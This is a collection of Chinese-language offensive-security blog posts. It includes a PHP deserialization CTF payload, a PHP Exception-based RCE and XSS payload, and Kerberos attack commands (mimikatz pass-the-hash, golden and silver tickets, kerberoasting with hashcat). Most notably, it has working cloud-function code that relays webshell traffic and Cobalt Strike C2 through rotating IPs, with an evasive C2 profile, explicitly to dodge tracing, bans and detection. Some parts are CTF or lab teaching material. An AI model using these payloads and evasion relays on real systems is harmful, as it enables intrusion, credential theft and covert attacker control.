  public $tmp1;    public $tmp2; public function __construct() { $this->tmp1 = new A8(); }    public function __toString()   {        $this->tmp1->hack4fun();        return "114514";   } } class A7 {    public $tmp1="Hello World!";    public $tmp2;    public function __invoke()   {        echo "114514".$this->tmp2.$this->tmp1;   } } class A8 {    public $tmp1 ;    public $tmp2 ;    public function hack4fun()   {        echo "Last step,Ganbadie~";        if(isset($_GET['DAS']))       {            $this->tmp1=$_GET['DAS'];       }        if(isset($_GET['CTF']))       {            $this->tmp2=$_GET['CTF'];       }        echo new $this->tmp1($this->tmp2);   } } $a = new A1(); echo urlencode(serialize($a)); 得到部分payload: O%3A2%3A%22A1%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A3%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BO%3A2%3A%22A4%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A6%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A8%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BN%3B%7Ds%3A4%3A 将上方的payload传入DASCTF参数即可 这个时候当字符串反序列化到A8这个类中,需要我们传入DAS以及CTF参数,其中关键代码如下: echo new $this->tmp1($this->tmp2); 因此我们先把flag文件名找出来,我们可以利用DirectoryIterator类结合glob遍历目录,得到flag文件名为flaggggggggggg.php ?DAS=DirectoryIterator&CTF=glob://flag* 得到文件名之后就读取文件,利用SplFileObject类结合伪协议读取flaggggggggggg.php文件 ?DASCTF=O%3A2%3A%22A1%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A3%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BO%3A2%3A%22A4%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A6%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A8%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BN%3B%7D 最终再将浏览器的回显进行base64解码即可得到flag
云函数(变相代理池)的三种常见利用
前言 之前学到一些云函数的利用,感觉很有趣,于是借此篇来总结一下三种对云函数的简单利用方式。 云函数 云函数(Serverless Cloud Function,SCF)是腾讯云为企业和开发者们提供的无服务器执行环境,帮助您在无需购买和管理服务器的情况下运行代码。您只需使用平台支持的语言编写核心代码并设置代码运行的条件,即可在腾讯云基础设施上弹性、安全地运行代码。SCF 是实时文件处理和数据处理等场景下理想的计算平台。总结云函数的几个特性: 多出口 调用时创建执行 无需服务器VPS承载 防溯源连接Webshell 之前最好的是某安全攻防实验室公众号发布了一篇<论如何防溯源连接Webshell>,利用云函数多出口的特性来规避溯源,可惜的是不久后就该文章就被删除了。以下介绍实际的利用方式 云函数创建 选择自定义创建 函数代码中脚本如下,主要是通过将Webshell地址作为参数传入云函数API中,在云函数服务端脚本中重组Webshell地址以及POST命令内容,将重组后的请求内容转发给Webshel #!/usr/bin/env # -*- coding:utf-8 -*- import requests import json from urllib.parse import urlsplit def geturl(urlstr):        jurlstr = json.dumps(urlstr)        dict_url = json.loads(jurlstr)        return dict_url['u'] def main_handler(event, context):        url = geturl(event['queryString'])        host = urlsplit(url).netloc        postdata = event['body']        headers=event['headers']        headers["HOST"] = host        resp=requests.post(url,data=postdata,headers=headers,verify=False)        response={        "isBase64Encoded": False,        "statusCode": 200,        "headers": {'Content-Type': 'text/html;charset='+resp.apparent_encoding},        "body": resp.text   }        return response 在触发器配置中选择API网关触发,然后点击创建,过一会会提示创建成功。 利用 我们可以通过蚁剑直接连接Webshell,URL请求地址填为api地址+webshell地址 https://service-dafetmeh-xxxx/release/Webshell_Bypass?u=http://xxxx/webshell.php  然后vps端通过监控日志查看访问webshell的ip地址 通过access.log可以发现每次请求都是不同的ip地址并且都是来自上海地区的腾讯云(根据自己选择地区而改变)  通过云函数的方法我们便可以隐藏连接Webshell的本机IP地址,从而防止溯源,如果使用可以蚁剑,为了达到更隐秘的目的,可以自行对Webshell流量进行加解密的操作来逃逸流量检测,流量检测+白名单IOC的方式可以完美的逃避检测。 注入/目录爆破爆破防Ban 云函数其实也可以作为一种变相的代理池供我们所用,利用云函数的多出口性来防止爆破或者SQL注入的时候被Ban 云函数创建 这里可以哈希安全团队公开的SCF-Proxy来实现,第一次看到Scf-Proxy的概念的应该是学蚁致用的作者,通过客户端监听获取请求并且组装API请求,服务端云函数解析且重组API请求,通过SCF-Proxy不光可以实现代理http请求,也可以代理https请求(类似Burp中间人监听的方式) 项目地址:https://github.com/hashsecteam/scf-proxy  下载下来然后利用Golang编译客户端和服务端,这里我把客户端编译成Win版本使用 还是选择自定义创建,但是这里要选择Go,而不是默认的python,并,执行方法改为server,且选择本地上传zip,将server.zip上传上去 触发管理中依然选择API网关管理,创建完成后来到触发管理获取API地址 利用 首先客户端开启监听 ./client.exe -port 10086 云函数api地址 此时再通过dirsearch设置http代理的方式爆破VPS的目录  查看access_log可以看到爆破的ip地址分布 由于此次选择的是广州地区,于是访问的ip基本都是来自广州  也可以代理访问https网站 由此可以实现爆破目录以及Sqlmap的爆破不被Ban C2隐藏 通过云函数的特性,我们依然可以做到CS上线的隐藏,由于Cs支持HTTP/HTTPS类型的Beacon,因此我们也可以通过云函数来转发HTTP/HTTPS请求,该方法学习自狼组北美第一突破手师傅 云函数创建 与第一种别无二样,依然选择API网关触发的方式,就是云函数服务端脚本修改为如下 # -*- coding: utf8 -*- import json,requests,base64 def main_handler(event, context):    C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标~    path=event['path']    headers=event['headers']    print(event)    if event['httpMethod'] == 'GET' :        resp=requests.get(C2+path,headers=headers,verify=False)    else:        resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)        print(resp.headers)        print(resp.content)    response={        "isBase64Encoded": True,        "statusCode": resp.status_code,        "headers": dict(resp.headers),        "body": str(base64.b64encode(resp.content))[2:-1]   }    return response Cs可以定制Profile来更加隐匿流量这里使用如下的Profile set sample_name "kris_abao"; set sleeptime "3000"; set jitter   "0"; set maxdns   "255"; set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)"; http-get {   set uri "/api/getit";   client {       header "Accept" "*/*";       metadata {           base64;           prepend "SESSIONID=";           header "Cookie";       }   }   server {       header "Content-Type" "application/ocsp-response";       header "content-transfer-encoding" "binary";       header "Server" "Nodejs";       output {           base64;           print;       }   } } http-stager {     set uri_x86 "/vue.min.js";   set uri_x64 "/bootstrap-2.min.js"; } http-post {   set uri "/api/postit";   client {       header "Accept" "*/*";       id {           base64;           prepend "JSESSION=";           header "Cookie";       }       output {           base64;           print;       }   }   server {       header "Content-Type" "application/ocsp-response";       header "content-transfer-encoding" "binary";       header "Connection" "keep-alive";       output {           base64;           print;       }   } } 创建完后放到将api.profile放到服务端Cs上可以通过c2lint检查一下profile,可以看到正常的定义http类型Beacon的get和post请求时的样子 监听设置 生成木马,点击后上线 公网地址会不断的跳,因为这里呈现的是请求源的IP,也就是我们的云函数IP地址,基本都是腾讯的IDC机房中的IP 在该过程中遇到了一些问题,比如说Stager较大,导致请求超时,这时候可以修改代码加点演示设置即可。
连异常报错也能拿到flag?
https://www.yijinglab.com/pages/CTFLaboratory.jsp 前言: 本篇将讲述PHP函数以及对象在使用过程中经常出现的错误,通过一个个小实验纠正这些错误,并且从安全的角度出发,利用这些可能存在的错误,捕获这些异常,甚至完成RCE操作。 脸滚键盘打出来的函数也能执行? 没错,该部分内容如上方小标题所示,在PHP中,即使你瞎打的函数,在经过一番调整后,可能程序就能正常运行了。 比如,有如下PHP代码: <?php tian(phpinfo());在这一段PHP代码中,随便瞎编了一个函数,并且向函数提供了一个phpinfo()参数,这样的PHP代码能运行起来吗? 当然不能,除非tian这个函数在内部已经自定义好了,否则这一串代码是一定报错的。 那么有没有办法让PHP正常执行这个程序呢? 有,那必须有,甚至只需要一行 <?php function tian(){} tian(phpinfo());新添加的这一行代码本质上就是给tian这个函数进行一个声明,这样整一个程序就能正常运行了。 这个时候可能就会有小机灵鬼发现了一个问题,在tian这个函数里并没有要求函数需要有输入啊,但是为什么程序就正常执行了呢? 从小开始接触括号的时候,老师就一直强调,有括号的要先算括号内的,程序自然也遵循着这样的原则,有括号的地方,那就先执行括号内的代码,至于后续是否报错,先把括号里的东西执行了再说。 举一反三,既然自定义的函数可以这么操作,那么PHP默认自带的一些函数那肯定也可以这么操作: 举个最常见的函数: <?php $sql = mysqli_connect(phpinfo(),"root","root","mysql");mysql_connect作为过程化风格函数,在开发中十分常用,这里我们将数据库连接地址的位置参数写成phpinfo(),这个时候程序可以将phpinfo()打印出来。 至此,大家应该能明白为什么脸滚键盘打出来的函数也能执行了,那么除了函数,脸滚出来的对象能不能执行呢? 为什么我的对象打印不出来? 在初学PHP面向对象的时候,可能经常会犯的一个错误,代码如下: <?php class tian{    public $id = "Lxxx";    function getid()   {        return $this->id;   } } echo new tian();这个代码报错如下: 这个程序错误就出在想要将对象直接打印出来,想要解决这样的报错,在PHP中有一个自带的魔术方法__toString,这个魔术方法会在对象被当做字符串的时候调用。 因此将上方程序进行修改,修改后的代码如下: <?php class tian{    public $id = "Lxxx";    function getid()   {        return $this->id;   }    function __toString()   {        return $this->id;   } } echo new tian();这个时候,程序就可以正常执行了 这个时候我们修改一下代码: <?php class tian{    public $id;    function __construct($id)   {        $this->id = $id;   }    function __toString()   {        return $this->id;   } } echo new tian(phpinfo());这个时候,结合上面的内容,应该就能理解这一部分代码 代码执行如下: 程序内如果有一个类,新建对象的时候需要一个参数,这个时候我们往参数里面放phpinfo(),程序会先执行phpinfo() 那么将这两个特性结合起来有什么用呢? 下面就给出一道CTF例题,利用上方的性质,结合异常捕获来达到RCE。 表演一个异常报错实现RCE 题目代码如下: <?php //flag in flag.php highlight_file(__FILE__); if ( isset($_GET['a']) && isset($_GET['b'])) {    $a = $_GET['a'];    $b = $_GET['b'];    eval("echo new $a($b());"); }关键代码为:eval("echo new $a($b());"); 首先,这一部分代码没有自定义的类,因此需要用到PHP中自带的类 我们先测试一下,传payload:?a=mysqli&b=phpinfo 这个时候是正常回显phpinfo,但是想要命令执行还是有些许距离。 因此我们需要找到一个PHP自带类,并且这个类需要有__toString()魔术方法,我们这里找到一个类为Exception。 其中PHP官方手册对这个类的__toString()描述如下: 这个类会将传入的异常参数直接输出,那么如果将命令执行作为参数传入呢? <?php echo new Exception(system("whoami")()); 那就先执行命令,然后将执行命令的结果作为参数传给Exception 所以传payload:?a=exception&b=system("whoami") 这个即可RCE 除此之外,Exception中__toString()魔术方法是直接输出,不存在命令执行的过程,因此在这个地方可能存在XSS。 举个例子: <?php echo new Exception("$_GET[1]");这个时候传:?1=<script>alert("XSS");</script> 是可以XSS 当然,还有许多其他的内置类能实现同样的功能,本篇文章就起到一个抛砖引玉的作用。
kerberos学习小结
文章有点长,请准备10-15分钟的时间阅读哦 https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014040817061200001 概念 | DC | 域控 || KDC | 密钥分发中心,域控担任 || AD | 活动目录,包含与用户数据库 || AS | Kerberos认证服务 || TGT | AS分发,TGT认证权证 || TGS | 票据授予服务 || ST | ST服务票据,由TGS服务发送 | krbtgt用户,是系统在创建域时自动生成的一个帐号,其作用是密钥分发中心的服务账号,其密码是系统随机生成的,无法登录主机 windows密码hash图解如下 AS-REQ AS-REQ:当域内某个用户试图访问域中的某个服务,输入用户名和密码,本机的kerberos服务向KDC的AS认证服务发送一个AS-REQ认证请求,请求中包含:请求的用户名、客户端主机名、加密类型和Authenticator(用户NTML Hash加密的时间戳)以及其他的一些信息 wireshark抓包分析 req-body详细请求包 pvno:kerberos版本号,这里为5 msg-type:消息类型,AS_REQ对应的是krb-as-req(10) padata:主要是一些认证信息,每个认证消息有type和value   PADA PA-ENC-TIMESTAMP:预认证,用用户hash加密时间戳,作为value发送给AS服务器,AS服务器拥有用户hash,使用用户hash进行解密,获得时间戳,如果能解密,且时间戳在一定的范围内,则证明认证通过。由于用户密码是hash加密,所以能够利用hash传递     padata-type:padata类型,这里是KRB5-PADATA-ENC-TIMESTAMP(2)     padata-value:padata的值       etype:padata类型,这里是eTYPE-AES256-CTS-HMAC-SHA1-96(18)       cipher:密钥   PADA PA-PAC-REQUEST:启用PAC支持的扩展。PAC并不在原生的kerberos里面,是微软引进的拓展。PAC包含在相应包AS_REP中,这里的value对应的值为True或False,KDC根据include的值来确定返回的票据中是否需要携带PAC     padata-type:padata类型,这是eTYPE-AES256-CTS-HMAC-SHA1-96(18)       padata-value:padata的值         include-PAC:是否包含PAC,这里为True req-body:请求body   padding:填充,这里为0   kdc-options:用于与KDC预定一些选项设置   cname:客户端用户名,这个用户名存在和不存在,返回的包有差异,可以用于枚举域内用户名,PrincipalName类型,包含type和Value     name-type:名字类型,这里是KRB5-NT-PRINCIPAL(1)     cname-string:名字,也就是请求的用户名       CNameString:请求的用户名,这里为mars2   realm:域名,这里为DRUNKMARS0   sname:服务端用户名,PrincipalName类型,包含type和value,在AS-REQ里面snames为krbtgt     SNameString:这里是用户名 krbtgt     SNameString:这里是域名 DRUNKMARS0   till:到期时间,rubeus和kekeo都是20370913024805Z,这个可以作为特征来检测工具   rtime:到期时间   nonce:随机生成的一个数,kekeo/mimikatz nonce是12381973,rubeus nonce是1818848256,这个也可以用来作为特征检测工具   etype:加密类型,这里有6个items   address:客户端的请求地址,也就是客户端的主机名     HostAddress MESSI-PC<20>       ddr-type:地址类型,这里是nETBIOS(20)       NetBIOS Name:MESSI-PC<20> (Server service)net config workstation 查看域内信息 AS-REQ过程中的攻击方式 hash传递 msf进行hash传递 只适用于域环境,并且目标主机需要安装 KB2871997补丁 mimikatz进行hash传递 这里mimikatz获取到hash之后不能复制粘贴,这时可以将获取到的hash导出到log日志中,命令如下 mimikatz log privilege::debug sekurlsa::ekeys 抓取sid为500的administrator的ntlm哈希 privilege::debug sekurlsa::logonpasswords 执行命令 sekurlsa::pth /user:administrator /domain:192.168.10.5 /ntlm:7c64e7ebf46b9515c56b2dd522d21c1c KB2871997 安装KB2871997这个补丁之后,只能用sid为500的管理员账户进行pass hash PTK(pass the key) 获取aes-key: privilege::debug sekurlsa::ekeys 注入aes-key: sekurlsa::pth /user:Administrator /domain:Drunkmars.com /aes256:cf5dba161f3a3dc89454742ff5db89980d6b07e771048b30006546e81d1d79e2 域内用户枚举 使用kerbrute工具: https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_amd64.exe前提需要DC需要开启kerberos 88端口 准备用户名保存为txt 使用以下命令 kerbrute_windows_amd64.exe userenum --dc 192.168.10.5 -d Drunkmars.com user.txt 使用kerbrute进行错误枚举的原理就是kerberos有三种错误代码: KDC_ERR_PREAUTH_REQUIRED-需要额外的预认证(启用) KDC_ERR_CLIENT_REVOKED-客户端凭证已被吊销(禁用) KDC_ERR_C_PRINCIPAL_UNKNOWN-在Kerberos数据库中找不到客户端(不存在) 在DC抓包可以看到有4个UNKNOWN,1个REQUIRED,证明有这个用户名存在 密码喷洒 当用户名存在,密码正确和错误返回的包是不相同的,所以知道用户名的情况下可以用一个相同的密码去爆破用户,这种针对所有用户的自动密码猜测是为了防止账户被锁定,因为针对同一个用户连续密码猜测很容易导致账户被锁。所以只有对所有用户同时执行特定的密码进行尝试,才能增加破解的概率,消除帐号被锁定的可能 使用以下命令 kerbrute_windows_amd64.exe passwordspray --dc 192.168.10.5 -d Drunkmars.com user.txt Fcb0519.. 密码同样存在三种错误代码 KDC_ERR_PREAUTH_REQUIRED-需要额外的预认证(启用) KDC_ERR_CLIENT_REVOKED-客户端凭证已被吊销(禁用) KDC_ERR_C_PRINCIPAL_UNKNOWN-在Kerberos数据库中找不到客户端(不存在) 同样在DC抓包,有4个UNKNOWN,1个REQUIRED AS-REP AS-REP:当KDC接受到请求之后,通过AD活动目录查询得到该用户的密码hash,用该密码hash对请求包的Authenticator进行解密,如果解密成功,则证明请求者提供的密码正确,而且需要时间戳范围在五分钟内,且不是重放,则域认证成功。KAS成功认证对方的身份之后,发送相应包给客户端,响应包中主要包括krbtgt用户的NTLM hash加密后的TGT认购权证(即ticket这部分)和用户NTLM hash加密的Login Session key(即最外层enc-part这部分)以及一些其他信息。该Login Session key的作用是用于确保客户端和KDC下阶段之间通信安全。最后T 在enc-part里面最重要的字段就是Login session key,作为下阶段的认证密钥 AS-REP中最核心的东西就是Login session-key 和加密的 ticket。正常我们用工具生成的凭据是.ccache和.kirbi后缀的,用mimikatz,kekeo,rebeus生成的凭据是.kirbi后缀的,impacket生成的凭据是.ccache,两种票据主要包含的都是Login session-key 和加密的 ticket,因此可以相互转换 AS-REP中的攻击方式 黄金票据 使用mimikatz 先获取krbtgt hash DC执行 mimikatz.exe "lsadump::dcsync /domain:Drunkmars.com /user:krbtgt" 获得如下信息 sid:S-1-5-21-652679085-3170934373-4288938398-502 ntlm hash:c1833c0783cfd81d3548dd89b017c99a aes256:2ec7a180207fea5ede74f482b365885d3bf6ad764082d13113e9e4b98c14ba50伪造administrator执行(aes256)生成gold.kirbi mimikatz "kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-502 /aes256:2ec7a180207fea5ede74f482b365885d3bf6ad764082d13113e9e4b98c14ba50 /user:administrator /ticket:gold.kirbi" 伪造administrator执行(krbtgt hash)生成gold.kirbi mimikatz "kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-502 /krbtgt:c1833c0783cfd81d3548dd89b017c99a /user:administrator /ticket:gold.kirbi" 导入golden.kirbi,执行命令 kerberos::ptt C:\\Users\\mars2\\Desktop\\gold.kirbi查看本地缓存,发现凭据成功导入 kerberos::list 打开新的cmd,用klist查看凭证 dir连接过去,注意这里必须要主机名,不能够用IP连接 这里有一个坑,必须要管理员权限开cmd,不然也会显示拒绝访问 看下权限,处于Domain Users组 查看所有组 net group /do 查看Domain Controllers组,这里我在域用户机器上可以查看是因为我导入了金票,实际上这个命令只能在DC上才能查看 net group "Domain Controllers" /do 删除凭据 kerberos::purge 使用impacket 使用kali,不在域内需要把dns改向域控 先生成票据administrator.ccache python3 ticketer.py -domain-sid S-1-5-21-652679085-3170934373-4288938398-502 -nthash c1833c0783cfd81d3548dd89b017c99a -domain Drunkmars.com administrator导入票据 export KRB5CCNAME=administrator.ccache然后访问域控 python3 smbexec.py -no-pass -k WIN-M836NN6NU8B.Drunkmars.com AS-REP Roasting 在AS-REP阶段,最外层的enc-part是用户密码hash加密的。对于域用户,如果设置了"Do not require Kerberos preauthentication",此时向域控的88端口发送AS-REP内容(enc-part底下的ciper,因为这部分是使用用户hash加密的Login Session Key,通过离线爆破就可以获得用户hash)重新组合,能够拼接成"Kerberos 5 AS-REP etype 23"(18200)的格式,接下来可以通过hashcat对其破解,最终获得明文密码,这就构成了AS-REP Roasting攻击 默认这个功能是不启用的,如果启用AS-REP会返回用户hash加密的sessionkey-as,这样我们就能够用john离线破解 使用Empire下的powerview.ps1查找域中设置了"不需要kerberos预认证"的用户 Import-Module .\powerview.ps1 Get-DomainUser -PreauthNotRequired 使用ASREPRoast.ps1获取AS-REP返回的hash Import-Module .\ASREPRoast.ps1 Get-ASREPHash -Username mars2 -Domain Drunkmars.com | Out-File Encoding ASCII hash.txt修改为hashcat能识别的格式,在$krb5asrep后面添加$23拼接 hashcat -m 18200 hash.txt pass.txt --force TGS-REQ 经过上面的步骤,客户端获得了 TGT认购权证 和 Login Session Key。然后用自己的密码NTLM Hash解密Login Session Key得到 原始的LogonSession Key。然后它会在本地缓存此 TGT认购权证 和 原始的Login Session Key。如果现在它需要访问某台服务器的某个服务,它就需要凭借这张TGT认购凭证向KDC购买相应的入场券ST服务票据(Service Ticket)。ST服务票据是通过KDC的另一个服务 TGS(Ticket Granting Service)出售的。在这个阶段,微软引入了两个扩展自协议 S4u2self 和 S4u2P TGS-REQ:客户端向KDC购买针对指定服务的ST服务票据请求,该请求主要包含如下的内容:客户端信息、Authenticator(Login Session Key加密的时间戳)、TGT认购权证(padata下ap-req下的ticket) 和 访问的服务名以及一些其他信息 TGS-REP TGS-REP:TGS接收到请求之后,首先会检查自身是否存在客户端所请求的服务。如果服务存在,则通过 krbtgt 用户的NTLM Hash 解密TGT并得到Login Session Key,然后通过Login Session Key解密Authenticator,如果解密成功,则验证了对方的真实身份,同时还会验证时间戳是否在范围内。并且还会检查TGT中的时间戳是否过期,且原始地址是否和TGT中保存的地址相同。 在完成上述的检测后,如果验证通过,则TGS完成了对客户端的认证,会生成一个用Logon Session Key加密后的用于确保客户端-服务器之间通信安全的Service Session Key会话秘钥(也就是最外层enc-part部分)。并且会为该客户端生成ST服务票据。ST服务票据主要包含两方面的内容:客户端用户信息 和 原始Service Session Key,整个ST服务票据用该服务的NTLM Hash进行加密。 最终Service Session Key 和 ST服务票据发送给客户端。(这一步不管用户有没有访问服务的权限,只要TGT正确,就都会返回ST服务票据,这也是kerberoasting能利用的原因,任何一个用户,只要hash正确,就可以请求域内任何一个服务的ST票据) enc-part:这部分是用请求服务的密码Hash加密的。因此如果我们拥有服务的密码Hash,那么我们就可以自己制作一个ST服务票据,这就造成了白银票据攻击。也正因为该票据是用请求服务的密码Hash加密的,所以当我们得到了ST服务票据,可以尝试爆破enc_part,来得到服务的密码Hash。这也就造成了kerberoast攻击。 TGS-REP过程中的攻击方式 何为SPN SPN(ServicePrincipal Names)服务主体名称,是服务实例(比如:HTTP、SMB、MySQL等服务)的唯一标识符。 Kerberos认证过程使用SPN将服务实例与服务登录账户相关联,如果想使用 Kerberos 协议来认证服务,那么必须正确配置SPN。如果在整个林或域中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN。如果客户端可能使用多个名称进行身份验证,则给定服务实例可以具有多个SPN。SPN始终包含运行服务实例的主机的名称,因此服务实例可以为其主机的每个名称或别名注册SPN。一个用户账户下可以有多个SPN,但一个SPN只能注册到一个账户。在内网中,SPN扫描通过查询向域控服务器执行服务发现。这对于红队而言,可以帮助他们识别正在运行重要服务的主机,如终端,交换机等。SPN的识别是kerber 下面通过一个例子来说明SPN的作用: 当某用户需要访问MySQL服务时,系统会以当前用户的身份向域控查询SPN为MySQL的记录。当找到该SPN记录后,用户会再次与KDC通信,将KDC发放的TGT作为身份凭据发送给KDC,并将需要访问的SPN发送给KDC。KDC中的TGS服务对TGT进行解密。确认无误后,由TGS将一张允许访问该SPN所对应的服务的ST服务票据和该SPN所对应的服务的地址发送给用户,用户使用该票据即可访问MySQL服务。 SPN分为两种类型: 1.是注册在活动目录的机器帐户(Computers)下,当一个服务的权限为 Local System 或 Network Service,则SPN注册在机器帐户(Computers)下。域中的每个机器都会有注册两个SPN:HOST/主机名和 HOST/主机名.Drunkmars.com 2.是注册在活动目录的域用户帐户(Users)下,当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下 查看当前域内所有的SPN: setspn -Q \* \*查看指定域Drunkmars.com注册的SPN: setspn -T Drunkmars.com -Q \* \*如果指定域不存在,则默认切换到查找本域的SPN 查找本域内重复的SPN: setspn -X删除指定SPN: setspn -D MySQL/win7.Drunkmars.com:1433/MSSQL hack查找指定用户/主机名注册的SPN: setspn -L username/hostname Kerberoast攻击 Kerberoast攻击过程: 1.攻击者对一个域进行身份验证,然后从域控制器获得一个TGT认购权证,该TGT认购权证用于以后的ST服务票据请求 2.攻击者使用他们的 TGT认购权证 发出ST服务票据请求(TGS-REQ) 获取特定形式(name/host)的 servicePrincipalName (SPN)。例如:MSSqlSvc/SQL.domain.com。此SPN在域中应该是唯一的,并且在用户或计算机帐户的servicePrincipalName 字段中注册。 在服务票证请求(TGS-REQ)过程中,攻击者可以指定它们支持的Kerberos加密类型(RC4_HMAC,AES256_CTS_HMAC_SHA1_96等等)。 3.如果攻击者的 TGT 是有效的,则 DC 将从TGT认购权证中提取信息并填充到ST服务票据中。 然后,域控制器查找哪个帐户在ServicedPrincipalName 字段中注册了所请求的 SPN。ST服务票据使用注册了所要求的 SPN 的帐户的NTLM哈希进行加密,并使用攻击者和服务帐户共同商定的加密算法。ST服务票据以服务票据回复(TGS-REP)的形式发送回攻击者。 4.攻击者从 TGS-REP 中提取加密的服务票证。 由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复帐户的明文密码。 首先是请求服务票据 1.Rubeus.exe请求 Rubeus里面的kerberoast支持对所有用户或者特定用户执行kerberoasting操作,其原理在于先用LDAP查询于内的spn,再通过发送TGS包,然后直接打印出能使用hashcat 或 john 爆破的Hash。以下的命令会打印出注册于用户下的所有SPN的服务票据的hashcat格式 Rubeus.exe kerberoast 2.powershell请求 #请求服务票据 Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433" #列出服务票据 klist 3.mimikatz请求 请求服务票据 kerberos::ask /target:MSSQLSvc/Srv-DB-0day.0day.org:1433列出服务票据 kerberos::list清除所有票据 kerberos::purge4.Impacket中的GetUserSPNS.py请求 该脚本可以请求注册于用户下的所有SPN的服务票据。使用该脚本需要提供域账号密码才能查询。该脚本直接输出hashcat格式的服务票据,可用hashcat直接爆破。 python3 GetUserSPNs.py -request -dc-ip 192.168.200.143 0day.org/jack 导出票据 首先是查看klist或mimikatz.exe "kerberos::list" MSF里面 load kiwi kerberos_ticket_list或 load kiwi kiwi_cmd kerberos::list1.mimikatz导出 mimikatz.exe "kerberos::list /export" "exit"执行完后,会在mimikatz同目录下导出 后缀为kirbi的票据文件 2.Empire下的Invoke-Kerberoast.ps1 Import-Module .\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat 离线破解服务票据 1.kerberoast中的tgsrepcrack.py python2 tgsrepcrack.py password.txt xx.kirbi 2.hashcat 将导出的hashcat格式的哈希保存为hash.txt文件,放到hashcat的目录下 hashcat -m 13100 hash.txt pass.txtKerberoast攻击防范 确保服务账号密码为强密码(长度、随机性、定期修改) 如果攻击者无法将默认的AES256_HMAC加密方式改为RC4_HMAC_MD5,就无法实验tgsrepcrack.py来破解密码。 攻击者可以通过嗅探的方法抓取Kerberos TGS票据。因此,如果强制实验AES256_HMAC方式对Kerberos票据进行加密,那么,即使攻击者获取了Kerberos票据,也无法将其破解,从而保证了活动目录的安全性。 许多服务账户在内网中被分配了过高的权限,且密码强度较差。攻击者很可能通过破解票据的密码,从域用户权限提升到域管理员权限。因此,应该对服务账户的权限进行适当的配置,并提高密码的强度。 在进行日志审计时,可以重点关注ID为4679(请求Kerberos服务票据)的时间。如果有过多的 4769 日志,应进一步检查系统中是否存在恶意行为。 白银票据 在TGS-REP阶段,TGS_REP里面的ticket的enc-part是使用服务的hash进行加密的,如果我们拥有服务的hash,就可以给我们自己签发任意用户的TGS票据,这个票据也被称为白银票据。相较于黄金票据,白银票据使用要访问服务的hash,而不是krbtgt的hash,由于生成的是TGS票据,不需要跟域控打交道,但是白银票票据只能访问特定服务。但是要注意的一点是,伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDCPAC签名,则银票将不起作用 要创建白银票据,我们需要知道以下信息: 要伪造的域用户(这里我们一般填写域管理员账户) 域名 域的SID值(就是域成员SID值去掉最后的) 目标服务的FQDN 可利用的服务 服务账号的NTLM哈希 这里使用白银票据伪造CIFS服务,该通常用于Windows主机之间的文件共享。 1.mimikatz获得服务账号的ntlm hash privilege::Debug sekurlsa::logonpasswords 得到ntlm为7c64e7ebf46b9515c56b2dd522d21c1c 2.使用白银票据攻击 kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398 /target:WIN-M836NN6NU8B.Drunkmars.com /service:cifs /rc4:7c64e7ebf46b9515c56b2dd522d21c1c /user:administrator /ptt 3.查看票据 4.访问域控 防御: 伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDCPAC签名,则银票将不起作用。 黄金票据和白银票据的不同点 访问权限不同: 黄金票据Golden Ticket:伪造TGT认购权证,可以获取任何Kerberos服务权限 白银票据Silver Ticket:伪造ST服务票据,只能访问指定的服务 加密方式不同: Golden Ticket由krbtgt的Hash加密 Silver Ticket由服务账号(通常为计算机账户)Hash加密 认证流程不同: Golden Ticket的利用过程需要访问域控,而Silver Ticket不需要
autoload魔术方法的妙用
前言: __autoload魔术方法从PHP7.2.0开始被废弃,并且在PHP8.0.0以上的版本完全废除。取而代之的则是spl_autoload_register,但是本文还是研究__autoload。 什么是autoload魔术方法? 首先还是从官方手册中下手,了解autoload函数 由此可见,__autoload魔术方法需要有一个类名的参数,使用这个魔术方法之后即可自动加载相应的类。 虽然说是自动,但是本质上还是需要我们指定类名,__autoload才会为我们包含文件,自动加载相应的类。 举一个简单的例子,假设我们有index.php业务代码如下: <?php function __autoload($classname){ include("class_$classname.php"); } $a = new A();并且我们有class_A.php代码如下: <?php class A{ function __construct(){ echo "I am class A\n"; } }我们可以看到,即使我们在index.php中没有包含class_A.php中的类A,但是在index.php中却新建了一个对象,此时因为在index.php中没有类A,所以PHP会自动调用__autoload魔术方法。 而我们__autoload魔术方法的作用就是将相关文件包含进来,因此最终程序还是成功的将I am class A输出。 所以,__autoload只需要我们在魔术方法内写明一个逻辑:如果在后面的代码中,新建一个对象,找不到对应的类的时候,应该包含哪些文件。 autoload相比手动加载有哪些优势? 虽然说感觉__autoload很智能,但是通过上方的例子并不能很明显体现__autoload的优点,因此下方换一个例子,用来展示__autoload相比手动加载的其他优势。 首先假设我们有autoload.php主业务逻辑代码如下: <?php require_once("class_A.php"); 